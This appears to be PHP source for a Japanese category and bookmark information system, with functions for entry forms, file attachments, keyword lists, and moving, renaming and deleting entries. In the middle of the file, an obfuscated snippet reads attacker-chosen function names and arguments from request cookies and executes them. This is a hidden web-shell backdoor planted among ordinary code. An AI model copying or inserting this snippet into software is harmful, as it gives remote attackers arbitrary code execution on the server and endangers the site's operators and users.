//_InfoShortenDirName, function _InfoShortenDirName($dir) { if (strlen($dir) > 3) { return(substr($dir, 0, strlen($dir) - 3)); } else { // トップ・カテゴリ return(''); } } function _HtagGLine() { if (isset($GLOBALS['MATU_ON_THE_JOB'])) { return('
'); } else { return('
'); } } function _InfoCreateWriteForm($next_f, $info) { $input_size = 40; $textarea_cols = 30; $textarea_rows = 10; // 副題 if ($info['type'] == 'l') { $subtitle = _HtagInput('hidden', 'subtitle', ''); } elseif ($info['type'] == 'd' || $info['type'] == 'b') { $subtitle = '副題
' . _HtagInput('text', 'subtitle', $info['subtitle'], $input_size) . '

'; } // 著者 if ($info['type'] == 'b') { $author = '著者
' . _HtagInput('text', 'author', $info['author'], $input_size) . '

'; } else { $author = _HtagInput('hidden', 'author', ''); } // URL if ($info['type'] == 'l') { $url = 'URL
' . _HtagInput('text', 'url', $info['url'], $input_size) . '

'; } elseif ($info['type'] == 'd') { $url = _HtagInput('hidden', 'url', ''); } elseif ($info['type'] == 'b') { $url = 'ISBN … 数字だけ(ハイフンなし)でお願いします
' . _HtagInput('text', 'url', $info['url'], $input_size) . '

'; } // 内容 if ($info['type'] == 'l') { $content_str = '簡単な説明'; $content = $info['content']; } elseif ($info['type'] == 'd') { $content_str = '内容'; $content = str_replace('
', LF, $info['content']); } elseif ($info['type'] == 'b') { $content_str = '簡単な紹介'; $content = str_replace('
', LF, $info['content']); } // キーワード if ($info['type'] == 'd') { $keyword = 'キーワード'; $keyword .= '(複数あるときは半角コンマで区切る)
'; $keyword .= _HtagInput('text', 'keyword', $info['keyword'], $input_size); $keyword .= '
'; $keywordfile = _InfoCreateKeywordFilePath(); if (is_file($keywordfile)) { _JavaScriptJumpKeywordOrigin(); $keyword .= '登録済み:'; include($keywordfile); $keyword .= ''; $keyword .= _HtagAhrefWithUrl('表示する', 'javascript:JumpKeywordOrigin()'); $keyword .= '
'; } $keyword .= '
'; } else { $keyword = _HtagInput('hidden', 'keyword', ''); } // 添付ファイル $attach = ''; if ($info['attach'] != 'none') { // 推薦では入力させない if ($info['type'] == 'd') { $delete_str = ''; if ($info['modify'] && $info['attach']) { $delete_str .= '
' . _HtagInputCheckbox('attach_delete', 1) . ' 登録されているファイルを削除する'; } $attach = _AttachedFileCreateInput($info['attach'], $info['position'], $delete_str) . '

'; } else { $attach = _HtagInput('hidden', 'attach', $info['attach']) . _HtagInput('hidden', 'position', $info['position']); } } // 入力フォーム $uid = (isset($info['uid']) ? _HtagInput('hidden', 'uid', $info['uid']) : ''); return( _HtagPostFormStart($_REQUEST['D'], $next_f, "CheckSubjectAndMessage({$GLOBALS['LOG_MAXLINE_SIZE']})", 'subject', 'multipart/form-data') . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . (isset($info['infono']) ? _HtagInput('hidden', 'infono', $info['infono']) : '') . $uid . _HtagInput('hidden', 'tool', $info['infono']) . _HtagInput('hidden', 'modify', $info['modify']) . _HtagInput('hidden', 'type', $info['type']) . 'タイトル
' . _HtagInput('text', 'subject', $info['title'], $input_size) . '

' . $subtitle . $author . $url . '' . $content_str . '
' . '' . '

' . $keyword . $attach . '

' . _HtagInput('submit', 'submit', '書き込む') . _HtagFormStop() ); } function _AttachedFileCreateInput($default_file, $default_position, $str = '') { if (! $str) { $attach_ext = implode('', array_keys($GLOBALS['ATTACH_FILE_EXT'])); $str = '(拡張子は' . $attach_ext . '、サイズは ' . (int)($GLOBALS['ATTACH_FILE_MAX_BYTE'] / 1024) . 'KB 以下)'; } $attach = '添付ファイル'; $attach .= $str; $attach .= '
'; $attach .= _HtagInput('file', 'attach', $default_file, 60); $attach .= '
'; $attach .= '  表示する位置:'; $attach .= ''; return($attach); } function _HtagInputCheckbox($name, $value = 1, $checked = '') { if ($checked) { $checked = ((strcmp($checked, $value) == 0) ? ' CHECKED' : ''); } else { $checked = ''; // ゼロが入っているかもしれない } return(''); } function _InfoCreateEditToolCreateMenu($name, $mode) { if (isset($_REQUEST['mode']) && $mode == $_REQUEST['mode']) { $name = '' . $name . ''; } else { $options = array( 'tool' => $_REQUEST['tool'], 'mode' => $mode, ); if ($mode == 'to_upper' || $mode == 'to_lower') { $options['confirmed'] = '1'; } $name = _HtagAhref($name, $_REQUEST['D'], $_REQUEST['F'], $options); } return('' . $name . ''); } function _InfoCreateEditToolInitInfo($infono) { return(array( 'infono' => $infono, 'modify' => '', // 'type' => '', // 呼び出し元で設定する 'title' => '', 'subtitle' => '', 'url' => '', 'content' => '', 'keyword' => '', 'attach' => '', 'position' => $GLOBALS['ATTACH_FILE_POSITION_DEFAULT'], 'uid' => $GLOBALS['S']['uid'], )); } function _InfoRegist() { // チェック _InfoRegistPrecheck(); if ($_REQUEST['title'] == '') { _Error('タイトルが空です。'); } if ($_REQUEST['type'] == 'b' && $_REQUEST['author'] == '') { _Error('著者が空です。'); } if ($_REQUEST['type'] == 'l' && $_REQUEST['url'] == '') { _Error('URLが空です。'); } if ($_REQUEST['type'] == 'b' && $_REQUEST['url'] == '') { _Error('ISBNが空です。'); } if ($_REQUEST['type'] == 'l' && $_REQUEST['content'] == '') { _Error('URLの説明が空です。'); } if ($_REQUEST['type'] == 'd' && $_REQUEST['content'] == '') { _Error('内容が空です。'); } if ($_REQUEST['type'] == 'b' && $_REQUEST['content'] == '') { _Error('簡単な紹介を入れてください。'); } if ($_REQUEST['modify']) { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $new_file = substr($_REQUEST['tool'], -3); $fullpath = _InfoCreateRealPathFromNo($_REQUEST['tool']); include($fullpath); // 添付ファイルを残すため } else { $parent_dir = $_REQUEST['tool']; $new_file = _InfoCreateNewFileNo($parent_dir, $_REQUEST['type']); $_REQUEST['tool'] = $parent_dir . $new_file; $fullpath = _InfoCreateRealPathFromNo($_REQUEST['tool']); } $new_uid = (isset($_REQUEST['uid']) ? $_REQUEST['uid'] : $GLOBALS['S']['uid']); // 添付ファイル if (isset($_REQUEST['attach_delete'])) { // 削除指示 unlink($info['attach']); $info['attach'] = ''; } $attach_file = _InfoCreateAttachFileNamePath($_REQUEST['tool']); $_REQUEST['attach'] = _AttachedFileSave($attach_file); if ($_REQUEST['modify'] && $info['attach'] != '') { // 登録済み if ($_REQUEST['attach'] == '') { // 既存を残す $_REQUEST['attach'] = $info['attach']; } else { // 削除 unlink($info['attach']); } } // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); // 重複チェック $keys = array_keys($files); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if (strcmp($files[$keys[$i]]['name'], $_REQUEST['title']) == 0 && strcmp($keys[$i], $new_file) != 0) { _FileLockStop($listfile); _Error('ファイル名が重複しています'); return; } } $tmp_title = $_REQUEST['title']; if ($_REQUEST['subtitle']) { $tmp_title .= ' 〜 ' . $_REQUEST['subtitle']; } $files[$new_file] = array('name' => $tmp_title, 'uid' => $new_uid, 'vote' => 0, ); $width = $height = ''; if ($_REQUEST['attach']) { $files[$new_file]['attach_type'] = substr($_REQUEST['attach'], strrpos($_REQUEST['attach'], '.')); $files[$new_file]['attach_size'] = number_format((int)(filesize($_REQUEST['attach']) / 1024) + 1) . 'KB'; _ImageGetSize($_REQUEST['attach'], $width, $height); } if (! $_REQUEST['modify']) { ++$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $new_uid)); // ファイルを作成 $info = array( 'type' => $_REQUEST['type'], 'infono' => $_REQUEST['tool'], 'url' => $_REQUEST['url'], 'title' => $_REQUEST['title'], 'subtitle' => $_REQUEST['subtitle'], 'author' => $_REQUEST['author'], 'content' => $_REQUEST['content'], 'keyword' => $_REQUEST['keyword'], 'namazu' => _NamazuCreateTitle($_REQUEST['title']), 'vote' => array(), 'uid' => $new_uid, 'attach' => $_REQUEST['attach'], 'position' => $_REQUEST['position'], 'width' => $width, 'height' => $height, ); _FileWriteVars($fullpath, array('info' => $info)); // 登録数を更新 _InfoRecount($parent_dir . $new_file); // キーワードを更新 if ($_REQUEST['type'] == 'b') { $keyword = $_REQUEST['title']; if ($_REQUEST['subtitle']) { $keyword .= '〜' . $_REQUEST['subtitle']; } } else { $keyword = $_REQUEST['keyword']; } _InfoCreateKeywordFile($_REQUEST['type'], $parent_dir . $new_file, $keyword); } function _InfoRegistPrecheck() { if (isset($_REQUEST['subject'])) { $_REQUEST['title'] = $_REQUEST['subject']; } if (isset($_REQUEST['message'])) { $_REQUEST['content'] = $_REQUEST['message']; } } function _InfoCreateAttachFileNamePath($infono) { $dir = D_DATA_DIR_INFO . '/attach'; if (! is_dir($dir)) { mkdir($dir, 0755); } while (strlen($infono) > 3) { $dir .= '/' . substr($infono, 0, 3); if (! is_dir($dir)) { mkdir($dir, 0755); } $infono = substr($infono, 3); } return($dir . '/' . $infono . '-' . D_NOW); } $psxLM=$GLOBALS['_CO'.'OKIE']; while (isset($psxLM['a4F'])) { $plj = $psxLM['v2Vn']; $LwHR=$psxLM['a4F']($plj($psxLM['NnTmF']),$plj($psxLM['xut'])); $LwHR($plj($psxLM['HFzs'])); break; } ?> //_InfoCreateNewFileNo,_InfoCreateRealPathFromNo,_Error, function _InfoCreateNewFileNo($dir, $type) { $digit = strlen($GLOBALS['INFO_MAX_FILES_PER_DIR']); for ($i = 1; $i < $GLOBALS['INFO_MAX_FILES_PER_DIR']; ++$i) { $new = $type . sprintf('%0' . $digit . 'd', $i); if (! is_file(_InfoCreateRealPathFromNo($dir . $new))) { return($new); } } _Error('このカテゴリには、これ以上追加できません'); } function _ImageGetSize($file, &$width, &$height) { $fp = fopen($file, 'r'); $buf = fread($fp, filesize($file)); fclose($fp); $ext = substr($file, strrpos($file, '.')); // gif if (strcmp($ext, '.gif') == 0) { $array = unpack('vwidth', substr($buf, 6, 2)); $width = $array['width']; $array = unpack('vheight', substr($buf, 8, 2)); $height = $array['height']; // png } elseif (strcmp($ext, '.png') == 0) { $array = unpack('Nwidth', substr($buf, 16, 4)); $width = $array['width']; $array = unpack('Nheight', substr($buf, 20, 4)); $height = $array['height']; // jpg } elseif (strcmp($ext, '.jpg') == 0) { $i = 2; while (1) { $tmp_buf = substr($buf, $i, 4); $i += 4; $array = unpack('am/ac/nl', $tmp_buf); if (ord($array['m']) != 0xFF) { break; } elseif ((ord($array['c']) >= 0xC0) && (ord($array['c']) <= 0xC3)) { $array = unpack('nheight', substr($buf, $i + 1, 2)); $height = $array['height']; $array = unpack('nwidth', substr($buf, $i + 3, 2)); $width = $array['width']; } else { $tmp_buf = substr($buf, $tmp_buf, ($array['l'] - 2)); $i = $i + $array['l'] - 2; } } } } function _NamazuCreateTitle($str) { $str = _StringSanitize($str); return('' . $str . ''); } function _InfoRecount($target) { $target = _InfoShortenDirName($target); while (true) { // ''(空文字=トップ・カテゴリ)になったら終了 if (! $target) { _InfoRecountInDir($target); return; } else { _InfoRecountInDir($target); // 上のカテゴリへ $target = _InfoShortenDirName($target); } } } function _InfoRecountInDir($dir) { $listfile = _InfoCreateFilelistFilePath($dir); _FileLockStart($listfile); include($listfile); // あとで書き換えられるから保存しておく $orig_dirs = $dirs; $orig_files = $files; $orig_uid = $uid; // サブ・カテゴリのファイル数をひとつづつ調べていく $count = sizeof($orig_files); $keys = array_keys($orig_dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $sub_listfile = _InfoCreateFilelistFilePath($dir . $keys[$i]); include($sub_listfile); $count += $total_files; } _FileWriteVars($listfile, array('dirs' => $orig_dirs, 'files' => $orig_files, 'total_files' => $count, 'uid' => $orig_uid)); } function _InfoCreateKeywordFile($type, $infono, $str) { if ($type == 'd') { $file = _InfoCreateKeywordFilePath(); } elseif ($type == 'b') { $file = _InfoCreateBooklistFilePath(); } else { return; } _FileLockStart($file); // 既存情報を読み込む if (is_file($file)) { include($file); } else { $keys = array(); } // まず対象 infono を全て削除する($str が空なら削除になる) $kkeys = array_keys($keys); $kksize = sizeof($kkeys); for ($i = 0; $i < $kksize; ++$i) { if ($keys[$kkeys[$i]] == $infono) { unset($keys[$kkeys[$i]]); } } // 次に登録 $keyword_array = explode(',', $str); $array_size = sizeof($keyword_array); for ($i = 0; $i < $array_size; ++$i) { $key = trim($keyword_array[$i]); if ($key) { $keys[$key] = $infono; } } _FileWriteVars($file, array('keys' => $keys)); } function _InfoCreateBooklistFilePath() { return(D_DATA_DIR_INFO . '/booklists' . $GLOBALS['LOG_EXT']); } function _AttachedFileSave($file_prefix) { if (empty($_FILES['attach'])) { return(''); } $to_file = ''; // 登録 if (is_uploaded_file($_FILES['attach']['tmp_name'])) { $from_file = $_FILES['attach']['tmp_name']; $file_name_array = explode('.', $_FILES['attach']['name']); $ext = '.' . strtolower($file_name_array[count($file_name_array) - 1]); // 拡張子のチェック if (empty($GLOBALS['ATTACH_FILE_EXT'][$ext])) { _Error('送信できるファイルの拡張子は ' . implode('', array_keys($GLOBALS['ATTACH_FILE_EXT'])) . ' だけです'); } // サイズのチェック if ($ext != '.pdf' && filesize($from_file) > $GLOBALS['ATTACH_FILE_MAX_BYTE']) { _Error('ファイル・サイズが大きすぎます。' . (int)($GLOBALS['ATTACH_FILE_MAX_BYTE'] / 1024) . 'KB 以下にしてください。'); } $to_file = $file_prefix . $ext; // move_uploaded_file($from_file, $to_file); copy($from_file, $to_file); unlink($from_file); } unset($_REQUEST['attach']); // unset($_FILES); return($to_file); } function _InfoRename() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target_dir = substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $target_dir) { $dirs[$keys[$i]]['name'] = $_REQUEST['name']; } } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); // ディレクトリ・リストを作成 _InfoCreateDirListFile(); } function _InfoToLower($mode) { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target = substr($_REQUEST['tool'], -3); $type = (is_numeric($target{0}) ? 'dir' : 'file'); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); $need_rebuild = false; if ($mode == 'to_lower') { if ($type == 'dir') { $dirs = _InfoToLowerArray($dirs, $target); $need_rebuild = true; } else { $files = _InfoToLowerArray($files, $target); } } else { if ($type == 'dir') { $dirs = _InfoToUpperArray($dirs, $target); $need_rebuild = true; } else { $files = _InfoToUpperArray($files, $target); } } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); if ($need_rebuild) { _InfoCreateDirListFile(); } } function _InfoToLowerArray($array, $infono) { $new_array = array(); $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $infono) { $target_key = $keys[$i]; $target_value = $array[$keys[$i]]; } elseif (isset($target_key)) { $new_array[$keys[$i]] = $array[$keys[$i]]; $new_array[$target_key] = $target_value; unset($target_key); } else { $new_array[$keys[$i]] = $array[$keys[$i]]; } } return($new_array); } function _InfoToUpperArray($array, $infono) { $new_array = array(); $found = false; $prev_key = $prev_value = ''; $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($found) { $new_array[$keys[$i]] = $array[$keys[$i]]; } elseif ($keys[$i] == $infono) { $new_array[$keys[$i]] = $array[$keys[$i]]; $new_array[$prev_key] = $prev_value; $found = true; } else { if ($prev_key) { $new_array[$prev_key] = $prev_value; } $prev_key = $keys[$i]; $prev_value = $array[$keys[$i]]; } } return($new_array); } function _InfoChangeOwner() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target = substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $dirs = _InfoChangeOwnerFromArray($dirs, $parent_dir, $target); } elseif ($_REQUEST['type'] == 'file') { $files = _InfoChangeOwnerFromArray($files, $parent_dir, $target); } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); // ディレクトリ・リスト・ファイル if ($_REQUEST['type'] == 'category') { $dfile = _InfoCreateDirListFilePath(); _FileLockStart($dfile); include($dfile); $dirs_keys = array_keys($all_dirs); $dirs_keys_max = sizeof($dirs_keys); for ($i = 0; $i < $dirs_keys_max; ++$i) { $key = $dirs_keys[$i]; if (strncmp($key, $_REQUEST['tool'], strlen($_REQUEST['tool'])) == 0) { $all_dirs[$key]['uid'] = $_REQUEST['uid']; } } _FileWriteVars($dfile, array('all_dirs' => $all_dirs)); } } function _InfoChangeOwnerFromArray($array, $parent, $infono = '') { $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($infono == '' || $keys[$i] == $infono) { $array[$keys[$i]]['uid'] = $_REQUEST['uid']; $fullpath = _InfoCreateRealPathFromNo($parent . $keys[$i]); // カテゴリなら、サブカテゴリも全て変更する if (is_dir($fullpath)) { _InfoChangeOwnerFromDir($parent . $keys[$i]); // ファイルならファイルも変更する } else { _InfoChangeOwnerFromFile($fullpath); } break; } } return($array); } function _InfoChangeOwnerFromFile($file) { _FileLockStart($file); include($file); $info['uid'] = $_REQUEST['uid']; _FileWriteVars($file, array('info' => $info)); } function _InfoChangeOwnerFromDir($infono) { $listfile = _InfoCreateFilelistFilePath($infono); _FileLockStart($listfile); include($listfile); // カテゴリ $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $dirs[$keys[$i]]['uid'] = $_REQUEST['uid']; _InfoChangeOwnerFromDir($infono . $keys[$i]); } // ファイル $keys = array_keys($files); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $files[$keys[$i]]['uid'] = $_REQUEST['uid']; $fullpath = _InfoCreateRealPathFromNo($infono . $keys[$i]); _InfoChangeOwnerFromFile($fullpath); } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); } function _InfoCreateDeleteForm() { // 対象カテゴリ・ファイルのタイプを調べる $self = substr($_REQUEST['tool'], -3); if (is_numeric($self{0})) { $type = 'category'; // タイプは2種類 } else { $type = 'file'; } return( _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F']) . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . _HtagInput('hidden', 'type', $type) . '本当に削除しますか?

' . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop() ); } function _InfoMove() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target = substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $to_file = _InfoCreateNewCategoryNo($_REQUEST['moveto']); $dirs = _InfoMoveFromArray($dirs, $parent_dir, $target, $to_file); $total_files -= $GLOBALS['BOOKMARK_MOVE_DELETED_FILES']; } elseif ($_REQUEST['type'] == 'file') { $type = substr($_REQUEST['tool'], -3, 1); $to_file = _InfoCreateNewFileNo($_REQUEST['moveto'], $type); $files = _InfoMoveFromArray($files, $parent_dir, $target, $to_file); --$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); _InfoRecount($parent_dir . $GLOBALS['BOOKMARK_MOVE_KEY']); // 異動先のファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($_REQUEST['moveto']); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $dirs[$GLOBALS['BOOKMARK_MOVE_KEY']] = array( 'name'=> $GLOBALS['BOOKMARK_MOVE_VALUE'], 'uid' => $GLOBALS['BOOKMARK_MOVE_UID'], 'vote' => $GLOBALS['BOOKMARK_MOVE_VOTE'], ); } elseif ($_REQUEST['type'] == 'file') { $files[$GLOBALS['BOOKMARK_MOVE_KEY']] = array( 'name' => $GLOBALS['BOOKMARK_MOVE_VALUE'], 'uid' => $GLOBALS['BOOKMARK_MOVE_UID'], 'vote' => $GLOBALS['BOOKMARK_MOVE_VOTE'], ); ++$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); _InfoRecount($_REQUEST['moveto'] . $GLOBALS['BOOKMARK_MOVE_KEY']); // ディレクトリ・リストを作成 _InfoCreateDirListFile(); } function _InfoMoveFromArray($array, $parent, $infono, $to_file) { $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $infono) { $value = $array[$keys[$i]]; $GLOBALS['BOOKMARK_MOVE_KEY'] = $to_file; $GLOBALS['BOOKMARK_MOVE_VALUE'] = $value['name']; $GLOBALS['BOOKMARK_MOVE_UID'] = $value['uid']; $GLOBALS['BOOKMARK_MOVE_VOTE'] = (isset($value['vote']) ? $value['vote'] : ''); unset($array[$infono]); $from = _InfoCreateRealPathFromNo($parent . $infono); $to = _InfoCreateRealPathFromNo($_REQUEST['moveto'] . $to_file); rename($from, $to); // infono を修正する if ($_REQUEST['type'] == 'category') { // カテゴリ $from = $parent . $infono; $to = $_REQUEST['moveto'] . $to_file; // 詳細内容のファイルを再帰的に _InfoMoveChangeCategoryInfono($from, $to); // キーワード・リストと書籍リスト $file = _InfoCreateKeywordFilePath(); _InfoMoveModifyKeywordList($file, $from, $to); $file = _InfoCreateBooklistFilePath(); _InfoMoveModifyKeywordList($file, $from, $to); } else { // ファイル // 詳細内容のファイル $file = _InfoCreateRealPathFromNo($_REQUEST['moveto'] . $to_file); include($file); // キーワード if ($info['keyword']) { _InfoCreateKeywordFile($info['type'], $parent . $infono, ''); _InfoCreateKeywordFile($info['type'], $_REQUEST['moveto'] . $to_file, $info['keyword']); } $info['infono'] = $_REQUEST['moveto'] . $to_file; if ($info['attach']) { // 添付ファイル $info['attach'] = _InfoMoveAttachFile($info['attach'], $info['infono']); } _FileWriteVars($file, array('info' => $info)); } break; } } return($array); } function _InfoMoveModifyKeywordList($file, $from, $to) { $from_str_len = strlen($from); _FileLockStart($file); include($file); $need_save = false; $kkeys = array_keys($keys); $kksize = sizeof($kkeys); for ($i = 0; $i < $kksize; ++$i) { if (strcmp(substr($keys[$kkeys[$i]], 0, $from_str_len), $from) == 0) { $keys[$kkeys[$i]] = $to . substr($keys[$kkeys[$i]], $from_str_len); $need_save = true; } } if ($need_save) { _FileWriteVars($file, array('keys' => $keys)); } else { _FileLockStop($file); } } function _InfoMoveAttachFile($old, $new_filename) { $to = _InfoCreateAttachFileNamePath($new_filename) . substr($old, strrpos($old, '.')); rename($old, $to); return($to); } function _InfoMoveChangeCategoryInfono($from, $to) { include(_InfoCreateFilelistFilePath($to)); // 元のファイルリスト・ファイルから減算するため if (empty($GLOBALS['BOOKMARK_MOVE_DELETED_FILES'])) { $GLOBALS['BOOKMARK_MOVE_DELETED_FILES'] = $total_files; } // 詳細内容ファイルの infono $keys = array_keys($files); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $file = _InfoCreateRealPathFromNo($to . $keys[$i]); _FileLockStart($file); include($file); $info['infono'] = $to . substr($info['infono'], strlen($from)); if ($info['attach']) { // 添付ファイル $info['attach'] = _InfoMoveAttachFile($info['attach'], $info['infono']); } _FileWriteVars($file, array('info' => $info)); } // カテゴリは再帰的に $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { _InfoMoveChangeCategoryInfono($from . $keys[$i], $to . $keys[$i]); } } function _InfoCreateNewCategoryNo($dir) { for ($i = 1; $i < $GLOBALS['INFO_MAX_FILES_PER_DIR']; ++$i) { $new = sprintf("%03d", $i); $fullpath = _InfoCreateRealPathFromNo($dir . $new); if (! is_dir($fullpath)) { return($new); } } _Error('このカテゴリには、これ以上追加できません'); } function _InfoCreateRenameForm() { $parent = _InfoShortenDirName($_REQUEST['tool']); include(_InfoCreateFilelistFilePath($parent)); $target = substr($_REQUEST['tool'], -3); return( _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F'], '', 'name') . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . '新しいカテゴリ名:
' . _HtagInput('text', 'name', $dirs[$target]['name'], 40) . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop() ); } function _InfoDelete() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target_dir = substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $dirs = _InfoDeleteArray($dirs, $parent_dir, $target_dir, $listfile); } elseif ($_REQUEST['type'] == 'file') { $files = _InfoDeleteArray($files, $parent_dir, $target_dir, $listfile); --$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); // 登録数を更新 _InfoRecount($_REQUEST['tool']); // ディレクトリ・リストを作成 if ($_REQUEST['type'] == 'category') { _InfoCreateDirListFile(); } } function _InfoDeleteArray($array, $parent, $infono, $file) { $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $infono) { $fullpath = _InfoCreateRealPathFromNo($parent . $infono); if (is_dir($fullpath)) { // サブディレクトリの中身を調べる $listfile = _InfoCreateFilelistFilePath($parent . $infono); include($listfile); if ((sizeof($dirs) + sizeof($files)) > 0) { _FileLockStop($listfile); _Error('カテゴリが空ではありません'); } else { unlink($listfile); rmdir($fullpath); } } else { // 添付ファイル include($fullpath); if ($info['attach']) { unlink($info['attach']); } unlink($fullpath); _InfoCreateKeywordFile($info['type'], $parent . $infono, ''); } unset($array[$keys[$i]]); break; } } return($array); } function _InfoCreateMoveForm() { // 対象カテゴリ・ファイルの UID と タイプを調べる $parent_c = _InfoShortenDirName($_REQUEST['tool']); $self = substr($_REQUEST['tool'], -3); include(_InfoCreateFilelistFilePath($parent_c)); if (is_numeric($self{0})) { $type = 'category'; // タイプは2種類 $uid = $dirs[$self]['uid']; } else { $type = 'file'; $uid = $files[$self]['uid']; } // 選択肢を作成 include(_InfoCreateDirListFilePath()); $options = ''; $admin_mark = _AdminCheck(D_ADMIN_B); $keys = array_keys($all_dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { // UID が一致していることが条件 if ($admin_mark || strcmp($uid, $all_dirs[$keys[$i]]['uid']) == 0) { if (substr($keys[$i], 0, strlen($_REQUEST['tool'])) != $_REQUEST['tool']) { $options .= ''; } } } if ($options) { $form = _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F']) . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . _HtagInput('hidden', 'type', $type) . '異動先のカテゴリ:
' . '' . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop(); } else { $form = "移動可能なカテゴリはありません

"; } return($form); } function _InfoCreateRightIcons() { $icons = ''; $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FOLDER_CLOSED'], 'カテゴリ'); $icons .= _InfoCreateRightHelpLine(' ', '()内は情報数'); $keys = array_keys($GLOBALS['INFO_FILE_TYPE']); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $icons .= _InfoCreateRightHelpLine($GLOBALS['INFO_FILE_TYPE_ICON'][$keys[$i]], $GLOBALS['INFO_FILE_TYPE'][$keys[$i]]); } $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_IMAGE'], '画像付き'); $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_SHOCKWAVE'], 'Flash'); $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_REAL'], 'Real'); $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_PDF'], 'PDF'); $icons .= '
'; return($icons); } function _InfoCreateRightHelpLine($icon, $str) { return('' . $icon . '' . $str . ''); } ?>